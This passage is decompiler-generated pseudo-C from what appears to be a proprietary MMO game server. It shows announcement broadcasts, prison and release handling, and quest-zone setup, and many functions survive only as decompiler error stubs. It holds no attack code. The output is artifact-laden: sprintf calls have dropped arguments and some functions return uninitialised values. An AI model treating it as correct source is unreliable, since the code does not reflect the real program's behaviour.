funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 25601; v3[2] = AnnounceType; v3[3] = strlen(Msg) + 1; v4 = Msg; do { v5 = *v4; v4[v3 + 4 - Msg] = *v4; ++v4; } while ( v5 ); v6 = (unsigned __int8)v3[3] + 4; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v6) ) { v7 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v7); } else { AssertClass::ac_AssertFail(&shineassert, "CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD : Packet Too Long", v6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD"); } //----- (00582D90) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_ItemUpgrade(CAnnounceSystem *this, Name4 *pCharName, unsigned __int16 nItemID, char nItemLevel) { CAnnounceSystem *v4; // edi@1 CDataReader::HEAD *v5; // eax@1 void *v6; // eax@3 void *v7; // esi@3 int result; // eax@4 int v9; // ecx@7 __int64 NameStr; // [sp+8h] [bp-144h]@1 int v11; // [sp+10h] [bp-13Ch]@7 int v12; // [sp+14h] [bp-138h]@7 char v13; // [sp+18h] [bp-134h]@7 char Msg[256]; // [sp+48h] [bp-104h]@7 unsigned int v15; // [sp+148h] [bp-4h]@1 v4 = this; v15 = (unsigned int)&NameStr ^ __security_cookie; v5 = this->m_AnnounceData.m_pHead; if ( v5 && v5->nNumOfRecord > 1 && (v6 = CDataReader::GetRecord(&this->m_AnnounceData, 1u), (v7 = v6) != 0) ) { if ( (unsigned int)(unsigned __int8)nItemLevel >= *((_DWORD *)v6 + 65) && ItemDataBox::operator__(&itemdatabox, nItemID) ) { NameStr = *(_QWORD *)&pCharName->n4_name[0]; v9 = *(_DWORD *)&pCharName->n4_name[12]; v11 = *(_DWORD *)&pCharName->n4_name[8]; v12 = v9; v13 = 0; sprintf(Msg, (const char *)v7 + 4); CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(v4, 1, Msg); result = 1; } else { result = 0; } } else { result = 0; } return result; } //----- (00582E70) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_ItemTake(CAnnounceSystem *this, Name4 *pCharName, unsigned __int16 nItemID) { int result; // eax@1 unsigned int v4; // [sp+0h] [bp-4h]@1 v4 = (unsigned int)&v4 ^ __security_cookie; __security_check_cookie((unsigned int)&v4 ^ (unsigned int)&v4 ^ __security_cookie); return result; } //----- (00582E90) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_LevelMax(CAnnounceSystem *this, Name4 *pCharName, char nLevel) { CAnnounceSystem *v3; // esi@1 CDataReader::HEAD *v4; // eax@1 void *v5; // eax@3 int v6; // ecx@5 int result; // eax@5 __int64 NameStr; // [sp+4h] [bp-144h]@1 int v9; // [sp+Ch] [bp-13Ch]@5 int v10; // [sp+10h] [bp-138h]@5 char v11; // [sp+14h] [bp-134h]@5 char Msg[256]; // [sp+44h] [bp-104h]@5 unsigned int v13; // [sp+144h] [bp-4h]@1 v3 = this; v13 = (unsigned int)&NameStr ^ __security_cookie; v4 = this->m_AnnounceData.m_pHead; if ( v4 && v4->nNumOfRecord > 4 && (v5 = CDataReader::GetRecord(&this->m_AnnounceData, 4u)) != 0 && nLevel == *((_DWORD *)v5 + 65) ) { NameStr = *(_QWORD *)&pCharName->n4_name[0]; v6 = *(_DWORD *)&pCharName->n4_name[12]; v9 = *(_DWORD *)&pCharName->n4_name[8]; v10 = v6; v11 = 0; sprintf(Msg, (const char *)v5 + 4); CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(v3, 4, Msg); result = 1; } else { result = 0; } return result; } //----- (00582F60) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_ClassUp(CAnnounceSystem *this, Name4 *pCharName, char nClassID) { CAnnounceSystem *v3; // esi@1 CDataReader::HEAD *v4; // eax@1 void *v5; // edi@3 int result; // eax@4 int v7; // edx@5 int v8; // ecx@5 int v9; // edx@5 int NameStr; // [sp+8h] [bp-144h]@1 int v11; // [sp+Ch] [bp-140h]@5 int v12; // [sp+10h] [bp-13Ch]@5 int v13; // [sp+14h] [bp-138h]@5 char v14; // [sp+18h] [bp-134h]@5 char Msg[256]; // [sp+48h] [bp-104h]@5 unsigned int v16; // [sp+148h] [bp-4h]@1 v3 = this; v16 = (unsigned int)&NameStr ^ __security_cookie; v4 = this->m_AnnounceData.m_pHead; if ( v4 && v4->nNumOfRecord > 5 && (v5 = CDataReader::GetRecord(&this->m_AnnounceData, 5u)) != 0 ) { v7 = *(_DWORD *)&pCharName->n4_name[4]; NameStr = *(_DWORD *)&pCharName->n4_name[0]; v8 = *(_DWORD *)&pCharName->n4_name[8]; v11 = v7; v9 = *(_DWORD *)&pCharName->n4_name[12]; v12 = v8; v13 = v9; v14 = 0; CDataReader::GetRecord(&gClassName, (unsigned __int8)nClassID); sprintf(Msg, (const char *)v5 + 4); CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(v3, 5, Msg); result = 1; } else { result = 0; } return result; } //----- (00583020) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_CharacterTitle(CAnnounceSystem *this, Name4 *pCharName, char nCTType, char nCTElementNo) { CAnnounceSystem *v4; // edi@1 CDataReader::HEAD *v5; // eax@1 void *v6; // eax@3 void *v7; // esi@3 int v8; // eax@5 int result; // eax@5 __int64 NameStr; // [sp+8h] [bp-144h]@1 int v11; // [sp+10h] [bp-13Ch]@5 int v12; // [sp+14h] [bp-138h]@5 char v13; // [sp+18h] [bp-134h]@5 char Msg[256]; // [sp+48h] [bp-104h]@5 unsigned int v15; // [sp+148h] [bp-4h]@1 v4 = this; v15 = (unsigned int)&NameStr ^ __security_cookie; v5 = this->m_AnnounceData.m_pHead; if ( v5 && v5->nNumOfRecord > 6 && (v6 = CDataReader::GetRecord(&this->m_AnnounceData, 6u), (v7 = v6) != 0) && (unsigned int)(unsigned __int8)nCTElementNo >= *((_DWORD *)v6 + 65) ) { NameStr = *(_QWORD *)&pCharName->n4_name[0]; v8 = *(_DWORD *)&pCharName->n4_name[12]; v11 = *(_DWORD *)&pCharName->n4_name[8]; v12 = v8; v13 = 0; CCharacterTitleData::GetTitleString(&gCharacterTitleData, nCTType, nCTElementNo); sprintf(Msg, (const char *)v7 + 4); CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(v4, 6, Msg); result = 1; } else { result = 0; } return result; } //----- (00583100) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_Roar(CAnnounceSystem *this, Name4 *pCharName, const char *Message) { CAnnounceSystem *v3; // esi@1 CDataReader::HEAD *v4; // eax@1 void *v5; // eax@3 int result; // eax@4 int v7; // ecx@5 __int64 NameStr; // [sp+8h] [bp-144h]@1 int v9; // [sp+10h] [bp-13Ch]@5 int v10; // [sp+14h] [bp-138h]@5 char v11; // [sp+18h] [bp-134h]@5 char Msg[256]; // [sp+48h] [bp-104h]@5 unsigned int v13; // [sp+148h] [bp-4h]@1 v3 = this; v13 = (unsigned int)&NameStr ^ __security_cookie; v4 = this->m_AnnounceData.m_pHead; if ( v4 && v4->nNumOfRecord > 0xB && (v5 = CDataReader::GetRecord(&this->m_AnnounceData, 0xBu)) != 0 ) { NameStr = *(_QWORD *)&pCharName->n4_name[0]; v7 = *(_DWORD *)&pCharName->n4_name[12]; v9 = *(_DWORD *)&pCharName->n4_name[8]; v10 = v7; v11 = 0; sprintf(Msg, (const char *)v5 + 4); CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(v3, 11, Msg); result = 1; } else { result = 0; } return result; } //----- (005831B0) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_ProposeAccept(CAnnounceSystem *this, Name4 *Requestor, Name4 *Acceptor) { CAnnounceSystem *v3; // esi@1 CDataReader::HEAD *v4; // eax@1 void *v5; // eax@3 int result; // eax@4 int v7; // ecx@5 int v8; // ecx@5 __int64 RequestorStr; // [sp+4h] [bp-184h]@1 int v10; // [sp+Ch] [bp-17Ch]@5 int v11; // [sp+10h] [bp-178h]@5 char v12; // [sp+14h] [bp-174h]@5 __int64 AcceptorStr; // [sp+44h] [bp-144h]@5 int v14; // [sp+4Ch] [bp-13Ch]@5 int v15; // [sp+50h] [bp-138h]@5 char v16; // [sp+54h] [bp-134h]@5 char Msg[256]; // [sp+84h] [bp-104h]@5 unsigned int v18; // [sp+184h] [bp-4h]@1 v3 = this; v18 = (unsigned int)&RequestorStr ^ __security_cookie; v4 = this->m_AnnounceData.m_pHead; if ( v4 && v4->nNumOfRecord > 0xC && (v5 = CDataReader::GetRecord(&this->m_AnnounceData, 0xCu)) != 0 ) { RequestorStr = *(_QWORD *)&Requestor->n4_name[0]; v7 = *(_DWORD *)&Requestor->n4_name[12]; v10 = *(_DWORD *)&Requestor->n4_name[8]; v11 = v7; AcceptorStr = *(_QWORD *)&Acceptor->n4_name[0]; v8 = *(_DWORD *)&Acceptor->n4_name[12]; v14 = *(_DWORD *)&Acceptor->n4_name[8]; v15 = v8; v12 = 0; v16 = 0; sprintf(Msg, (const char *)v5 + 4); CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(v3, 12, Msg); result = 1; } else { result = 0; } return result; } //----- (005832A0) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_WeddingStart(CAnnounceSystem *this, Name4 *Name1, Name4 *Name2) { CAnnounceSystem *v3; // esi@1 CDataReader::HEAD *v4; // eax@1 void *v5; // eax@3 int result; // eax@4 int v7; // ecx@5 int v8; // ecx@5 __int64 NameStr1; // [sp+4h] [bp-184h]@1 int v10; // [sp+Ch] [bp-17Ch]@5 int v11; // [sp+10h] [bp-178h]@5 char v12; // [sp+14h] [bp-174h]@5 __int64 NameStr2; // [sp+44h] [bp-144h]@5 int v14; // [sp+4Ch] [bp-13Ch]@5 int v15; // [sp+50h] [bp-138h]@5 char v16; // [sp+54h] [bp-134h]@5 char Msg[256]; // [sp+84h] [bp-104h]@5 unsigned int v18; // [sp+184h] [bp-4h]@1 v3 = this; v18 = (unsigned int)&NameStr1 ^ __security_cookie; v4 = this->m_AnnounceData.m_pHead; if ( v4 && v4->nNumOfRecord > 0xD && (v5 = CDataReader::GetRecord(&this->m_AnnounceData, 0xDu)) != 0 ) { NameStr1 = *(_QWORD *)&Name1->n4_name[0]; v7 = *(_DWORD *)&Name1->n4_name[12]; v10 = *(_DWORD *)&Name1->n4_name[8]; v11 = v7; NameStr2 = *(_QWORD *)&Name2->n4_name[0]; v8 = *(_DWORD *)&Name2->n4_name[12]; v14 = *(_DWORD *)&Name2->n4_name[8]; v15 = v8; v12 = 0; v16 = 0; sprintf(Msg, (const char *)v5 + 4); CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(v3, 13, Msg); result = 1; } else { result = 0; } return result; } //----- (00583390) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_BeReleased(void *this) { void *v1; // esi@1 v1 = this; ShineObjectClass::ShinePlayer::sp_EndOfTrade(this, 1); (*(void (__thiscall **)(void *, char *, char *))(*(_DWORD *)v1 + 2216))(v1, (char *)v1 + 143192, (char *)v1 + 143204); return 0; } //----- (005833C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ReleaseFromPrison(int this, int mapPos) { *(_DWORD *)(this + 143192) = *(_DWORD *)mapPos; *(_DWORD *)(this + 143196) = *(_DWORD *)(mapPos + 4); *(_DWORD *)(this + 143200) = *(_DWORD *)(mapPos + 8); *(_DWORD *)(this + 143204) = *(_DWORD *)(mapPos + 12); *(_DWORD *)(this + 143208) = *(_DWORD *)(mapPos + 16); *(_DWORD *)(this + 143172) = clockwatch.cw_CurrTick + 600; if ( *(_DWORD *)(this + 143184) == 4 ) { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::TimeScheduler::ts_Set - ", 1); } else { *(_DWORD *)(this + 143188) = ShineObjectClass::ShinePlayer::TimeScheduler::ts_TimerCheck; *(_DWORD *)(this + 143176) = ShineObjectClass::ShinePlayer::sp_Schedule_BeReleased; *(_DWORD *)(this + 143180) = 0; *(_DWORD *)(this + 143184) = 1; } } //----- (00583440) -------------------------------------------------------- signed int __stdcall ShineObjectClass::ShineObject::so_Prison_Go(__int16 nPrisonMin) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObject::so_Prison_Go"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObject::so_Prison_Go"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObject::so_Prison_Go"); return 1; } //----- (00583490) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_Prison_Go(void *this, __int16 nPrisonMin) { void *v2; // esi@1 char v3; // al@1 unsigned int v4; // eax@3 int v5; // edx@3 char *v6; // eax@3 unsigned int v7; // eax@3 MapInfo *v8; // edi@6 char *v9; // eax@8 char *v10; // eax@8 int v11; // eax@8 char v12; // al@9 char *v13; // [sp-4h] [bp-9Ch]@7 FunctionEntarance _; // [sp+10h] [bp-88h]@1 char sMapName[4]; // [sp+14h] [bp-84h]@3 int v16; // [sp+18h] [bp-80h]@3 int v17; // [sp+1Ch] [bp-7Ch]@3 char lnkinf; // [sp+20h] [bp-78h]@9 char v19; // [sp+34h] [bp-64h]@8 char v20; // [sp+55h] [bp-43h]@8 unsigned int v21; // [sp+76h] [bp-22h]@8 unsigned int v22; // [sp+7Ah] [bp-1Eh]@8 __int16 v23; // [sp+7Eh] [bp-1Ah]@8 unsigned int v24; // [sp+88h] [bp-10h]@1 int v25; // [sp+94h] [bp-4h]@1 v2 = this; v24 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShinePlayer::so_Prison_Go"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShinePlayer::so_Prison_Go"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShinePlayer::so_Prison_Go"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = **((_BYTE **)v2 + 892); v25 = 0; if ( !v3 || !*(_DWORD *)((char *)v2 + 98) ) { v13 = "ShinePlayer::so_Prison_Go"; goto LABEL_15; } v17 = 0; v16 = 0; *(_DWORD *)sMapName = 0; strncpy(sMapName, "EldPri", 0xCu); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); v5 = v16; namestring.ns_point.value = v4; v6 = (char *)&namestring + 256 * v4; *(_DWORD *)v6 = *(_DWORD *)sMapName; *((_DWORD *)v6 + 2) = v17; *((_DWORD *)v6 + 1) = v5; v6[12] = 0; v7 = BTree::operator__(&mapdatabox.mdb_btree, v6); if ( v7 == -1 ) LOWORD(v7) = -1; v7 = (unsigned __int16)v7; if ( (unsigned __int16)v7 >= mapdatabox.mdb_maxmapid || (v8 = mapdatabox.mdb_index[v7]) == 0 ) { v13 = "ShinePlayer::so_Prison_Go"; LABEL_15: --funcallanalizer.fca_stackpoint; v25 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v13); goto LABEL_16; } v9 = NameString::operator__(&namestring, (Name3 *)sMapName); strncpy(&v19, v9, 0xCu); v10 = NameString::operator__(&namestring, (Name3 *)sMapName); strncpy(&v20, v10, 0xCu); v11 = *((_DWORD *)v2 + 892); v21 = v8->RegenX; v22 = v8->RegenY; v23 = 0; if ( *(_BYTE *)v11 == 3 ) { *(_BYTE *)v11 = 1; BriefInfoBackup::bib_Restore( (BriefInfoBackup *)((char *)v2 + 139500), (CHARBRIEFINFO_NOTCAMP *)(*((_DWORD *)v2 + 8040) + 29)); *(_DWORD *)((char *)v2 + 32209) = (unsigned int)(307 * (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1260))(v2)) >> 10; v12 = (*(int (__thiscall **)(void *, char *, signed int, signed int, signed int))(*(_DWORD *)v2 + 1528))( v2, &lnkinf, 4, 79, 80); } else { v12 = (*(int (__thiscall **)(void *, char *, signed int, signed int, signed int))(*(_DWORD *)v2 + 1528))( v2, &lnkinf, 6, 9, 10); } if ( v12 ) *(_WORD *)((char *)v2 + 32261) = nPrisonMin; --funcallanalizer.fca_stackpoint; v25 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShinePlayer::so_Prison_Go"); LABEL_16: __security_check_cookie((unsigned int)&_ ^ v24); } //----- (005836E0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_Prison_End(int mapname, int coord) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObject::so_Prison_End"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObject::so_Prison_End"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObject::so_Prison_End"); } //----- (00583730) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_Prison_End(void *this, int mapname, int coord) { void *v3; // esi@1 int v4; // eax@1 int v5; // ecx@3 int v6; // edx@3 int v7; // ecx@5 unsigned int v8; // eax@5 char *v9; // eax@5 int v10; // ecx@5 unsigned int v11; // eax@5 char *v12; // eax@5 int v13; // ecx@6 unsigned int v14; // eax@7 int v15; // ecx@7 char *v16; // eax@7 int v17; // edx@7 unsigned int v18; // eax@7 MapInfo *v19; // eax@10 int v20; // edx@12 FunctionEntarance _; // [sp+10h] [bp-88h]@1 char sMapName[4]; // [sp+14h] [bp-84h]@3 int v23; // [sp+18h] [bp-80h]@3 int v24; // [sp+1Ch] [bp-7Ch]@3 char lnkinf; // [sp+20h] [bp-78h]@12 char v26; // [sp+34h] [bp-64h]@5 char v27; // [sp+55h] [bp-43h]@5 unsigned int v28; // [sp+76h] [bp-22h]@6 unsigned int v29; // [sp+7Ah] [bp-1Eh]@6 __int16 v30; // [sp+7Eh] [bp-1Ah]@12 unsigned int v31; // [sp+88h] [bp-10h]@1 int v32; // [sp+94h] [bp-4h]@1 v3 = this; v31 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShinePlayer::so_Prison_End"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShinePlayer::so_Prison_End"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShinePlayer::so_Prison_End"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)((char *)v3 + 98); v32 = 0; *(_WORD *)((char *)v3 + 32261) = 0; if ( !v4 ) { v32 = -1; goto LABEL_15; } *((_DWORD *)v3 + 35793) = 0; *((_DWORD *)v3 + 35794) = CGambleObject::GDTSO_GetGameStatus; *((_DWORD *)v3 + 35797) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)v3 + 35796) = 0; if ( mapname ) { v5 = *(_DWORD *)(mapname + 4); v6 = *(_DWORD *)(mapname + 8); *(_DWORD *)sMapName = *(_DWORD *)mapname; v23 = v5; v24 = v6; } else { v24 = 0; v23 = 0; *(_DWORD *)sMapName = 0; strncpy(sMapName, "RouN", 0xCu); } v7 = *(_DWORD *)sMapName; v8 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v8; v9 = (char *)&namestring + 256 * v8; *((_DWORD *)v9 + 1) = v23; *(_DWORD *)v9 = v7; *((_DWORD *)v9 + 2) = v24; v9[12] = 0; strncpy(&v26, v9, 0xCu); v10 = *(_DWORD *)sMapName; v11 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v11; v12 = (char *)&namestring + 256 * v11; *((_DWORD *)v12 + 1) = v23; *(_DWORD *)v12 = v10; *((_DWORD *)v12 + 2) = v24; v12[12] = 0; strncpy(&v27, v12, 0xCu); if ( coord ) { v13 = *(_DWORD *)(coord + 4); v28 = *(_DWORD *)coord; v29 = v13; } else { v14 = namestring.ns_point.mask & (namestring.ns_point.value + 1); v15 = v23; namestring.ns_point.value = v14; v16 = (char *)&namestring + 256 * v14; *(_DWORD *)v16 = *(_DWORD *)sMapName; v17 = v24; *((_DWORD *)v16 + 1) = v15; *((_DWORD *)v16 + 2) = v17; v16[12] = 0; v18 = BTree::operator__(&mapdatabox.mdb_btree, v16); if ( v18 == -1 ) LOWORD(v18) = -1; v18 = (unsigned __int16)v18; if ( (unsigned __int16)v18 >= mapdatabox.mdb_maxmapid || (v19 = mapdatabox.mdb_index[v18]) == 0 ) goto LABEL_13; v28 = v19->RegenX; v29 = v19->RegenY; } v20 = *(_DWORD *)v3; v30 = 0; (*(void (__thiscall **)(void *, char *, signed int, signed int, signed int))(v20 + 1528))(v3, &lnkinf, 6, 9, 10); LABEL_13: v32 = -1; LABEL_15: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShinePlayer::so_Prison_End"); __security_check_cookie((unsigned int)&_ ^ v31); } //----- (00583990) -------------------------------------------------------- void __thiscall FieldMap::fm_QuestPS_Start(void *fldindex, char *filename, char *initflag) { void *v3; // esi@1 Movie::CinemaComplex *v4; // ecx@1 PineScriptToken initval; // [sp+8h] [bp-110h]@1 unsigned int v6; // [sp+108h] [bp-10h]@1 int v7; // [sp+114h] [bp-4h]@1 v6 = (unsigned int)&initval ^ __security_cookie; v3 = fldindex; PineScriptToken::PineScriptToken(&initval, initflag); v4 = (Movie::CinemaComplex *)*((_DWORD *)v3 + 17); v7 = 0; Movie::CinemaComplex::cc_PlayFilm(v4, filename, &initval, (Name3 *)v3); v7 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&initval); __security_check_cookie((unsigned int)&initval ^ v6); } //----- (00583A30) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::sp_GotoElfForest(int this) { unsigned int result; // eax@1 *(_BYTE *)(this + 23340) = 1; result = clockwatch.cw_CurrTick + 100; *(_DWORD *)(this + 23348) = clockwatch.cw_CurrTick + 100; *(_DWORD *)(this + 23344) = 0; return result; } //----- (00583A50) -------------------------------------------------------- #error "583A50: undefined or illegal type '#734' (funcsize=23)" //----- (00583AB0) -------------------------------------------------------- void __thiscall CQuestZone::_CQuestZone(CQuestZone *this) { CQuest *v1; // esi@1 v1 = (CQuest *)this; this->baseclass_0.vfptr = (CQuestVtbl *)&CQuestZone::_vftable_; CQuestParserScript::_CQuestParserScript(&this->m_ScriptParser); CQuest::_CQuest(v1); } // 67C388: using guessed type int (__stdcall *CQuestZone___vftable_)(int itm); //----- (00583B10) -------------------------------------------------------- #error "583B10: undefined or illegal type '#734' (funcsize=3)" //----- (00583B20) -------------------------------------------------------- #error "583B20: undefined or illegal type '#734' (funcsize=51)" //----- (00583BB0) -------------------------------------------------------- #error "583BB0: undefined or illegal type '#734' (funcsize=36)" //----- (00583C20) -------------------------------------------------------- #error "583C20: undefined or illegal type '#734' (funcsize=8)" //----- (00583C40) -------------------------------------------------------- #error "583C40: undefined or illegal type '#734' (funcsize=8)" //----- (00583C60) -------------------------------------------------------- #error "583C60: undefined or illegal type '#734' (funcsize=11)" //----- (00583C90) -------------------------------------------------------- #error "583C90: undefined or illegal type '#734' (funcsize=8)" //----- (00583CB0) -------------------------------------------------------- #error "583CB0: undefined or illegal type '#734' (funcsize=48)" //----- (00583D70) -------------------------------------------------------- #error "583D70: undefined or illegal type '#734' (funcsize=11)" //----- (00583DA0) -------------------------------------------------------- void __cdecl std::fill(std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *_Val) { std::list,std::allocator > >::iterator *i; // eax@1 for ( i = _First; i != _Last; ++i ) *(_DWORD *)&i->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&_Val->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; } //----- (00583DC0) -------------------------------------------------------- void __thiscall CQuestZone::InitNewPlayer(CQuestZone *this) { CQuestZone *v1; // esi@1 CQuestData *v2; // eax@1 QUEST_DATA_HEAD *v3; // eax@2 unsigned __int16 v4; // ax@6 int v5; // [sp-4h] [bp-18h]@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CQuestZone::InitNewPlayer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CQuestZone::InitNewPlayer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->baseclass_0.m_pQuestData; if ( v2 ) { v3 = v2->m_pDataHead; if ( v3 ) v5 = v3->NumOfQuest; else v5 = 0; } else { AssertClass::ac_AssertFail(&shineassert, "CQuestZone::InitNewPlayer : m_pQuestData NULL", 0); v1->baseclass_0.m_pQuestData = &gQuestData; if ( gQuestData.m_pDataHead ) v4 = gQuestData.m_pDataHead->NumOfQuest; else v4 = 0; v5 = v4; } CQuest::InitQuestBF(&v1->baseclass_0, v5); CQuest::ClearQuest(&v1->baseclass_0); v1->m_ParsingQuestID = -1; v1->m_bWaitResult = 0; v1->m_QuestClickNPC = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CQuestZone::InitNewPlayer"); } //----- (00583ED0) -------------------------------------------------------- #error "583ED0: undefined or illegal type '#734' (funcsize=57)" //----- (00583FD0) -------------------------------------------------------- #error "583FD0: undefined or illegal type '#734' (funcsize=94)" //----- (00584150) -------------------------------------------------------- #error "584150: undefined or illegal type '#734' (funcsize=88)" //----- (00584290) -------------------------------------------------------- #error "584290: undefined or illegal type '#734' (funcsize=145)" //----- (00584490) -------------------------------------------------------- #error "584490: undefined or illegal type '#734' (funcsize=69)" //----- (005845A0) -------------------------------------------------------- #error "5845A0: undefined or illegal type '#734' (funcsize=109)" //----- (00584730) -------------------------------------------------------- #error "584730: undefined or illegal type '#734' (funcsize=96)" //----- (005848A0) -------------------------------------------------------- #error "5848A0: undefined or illegal type '#734' (funcsize=83)" //----- (005849F0) -------------------------------------------------------- #error "5849F0: undefined or illegal type '#734' (funcsize=67)" //----- (00584B00) -------------------------------------------------------- #error "584B00: undefined or illegal type '#734' (funcsize=84)" //----- (00584C50) -------------------------------------------------------- #error "584C50: undefined or illegal type '#734' (funcsize=82)" //----- (00584DA0) -------------------------------------------------------- #error "584DA0: undefined or illegal type '#734' (funcsize=72)" //----- (00584EE0) -------------------------------------------------------- #error "584EE0: undefined or illegal type '#734' (funcsize=82)" //----- (00585030) -------------------------------------------------------- #error "585030: undefined or illegal type '#734' (funcsize=57)" //----- (00585120) -------------------------------------------------------- #error "585120: undefined or illegal type '#734' (funcsize=70)" //----- (00585250) -------------------------------------------------------- #error "585250: undefined or illegal type '#734' (funcsize=70)" //----- (00585380) -------------------------------------------------------- #error "585380: undefined or illegal type '#734' (funcsize=74)" //----- (005854D0) -------------------------------------------------------- #error "5854D0: undefined or illegal type '#734' (funcsize=52)" //----- (005855B0) -------------------------------------------------------- #error "5855B0: undefined or illegal type '#734' (funcsize=70)" //----- (005856E0) -------------------------------------------------------- #error "5856E0: undefined or illegal type '#734' (funcsize=102)" //----- (00585850) -------------------------------------------------------- #error "585850: undefined or illegal type '#734' (funcsize=88)" //----- (00585990) -------------------------------------------------------- #error "585990: undefined or illegal type '#734' (funcsize=88)" //----- (00585AC0) -------------------------------------------------------- #error "585AC0: undefined or illegal type '#734' (funcsize=77)" //----- (00585BE0) -------------------------------------------------------- #error "585BE0: undefined or illegal type '#734' (funcsize=77)" //----- (00585D00) -------------------------------------------------------- #error "585D00: undefined or illegal type '#734' (funcsize=77)" //----- (00585E20) -------------------------------------------------------- #error "585E20: undefined or illegal type '#734' (funcsize=91)" //----- (00585F70) -------------------------------------------------------- #error "585F70: undefined or illegal type '#734' (funcsize=474)" //----- (00586660) -------------------------------------------------------- #error "586660: undefined or illegal type '#734' (funcsize=69)" //----- (00586790) -------------------------------------------------------- #error "586790: undefined or illegal type '#734' (funcsize=69)" //----- (005868B0) -------------------------------------------------------- #error "5868B0: undefined or illegal type '#734' (funcsize=69)" //----- (005869D0) -------------------------------------------------------- #error "5869D0: undefined or illegal type '#734' (funcsize=120)" //----- (00586BC0) -------------------------------------------------------- #error "586BC0: undefined or illegal type '#734' (funcsize=181)" //----- (00586E50) -------------------------------------------------------- #error "586E50: undefined or illegal type '#734' (funcsize=76)" //----- (00586F70) -------------------------------------------------------- #error "586F70: undefined or illegal type '#734' (funcsize=61)" //----- (00587070) -------------------------------------------------------- #error "587070: undefined or illegal type '#734' (funcsize=120)" //----- (00587230) -------------------------------------------------------- #error "587230: undefined or illegal type '#734' (funcsize=113)" //----- (005873D0) -------------------------------------------------------- #error "5873D0: undefined or illegal type '#734' (funcsize=10)" //----- (00587400) -------------------------------------------------------- #error "587400: undefined or illegal type '#734' (funcsize=312)" //----- (005878B0) -------------------------------------------------------- #error "5878B0: undefined or illegal type '#734' (funcsize=806)" //----- (005885A0) -------------------------------------------------------- #error "5885A0: undefined or illegal type '#734' (funcsize=247)" //----- (00588930) -------------------------------------------------------- #error "588930: undefined or illegal type '#734' (funcsize=101)" //----- 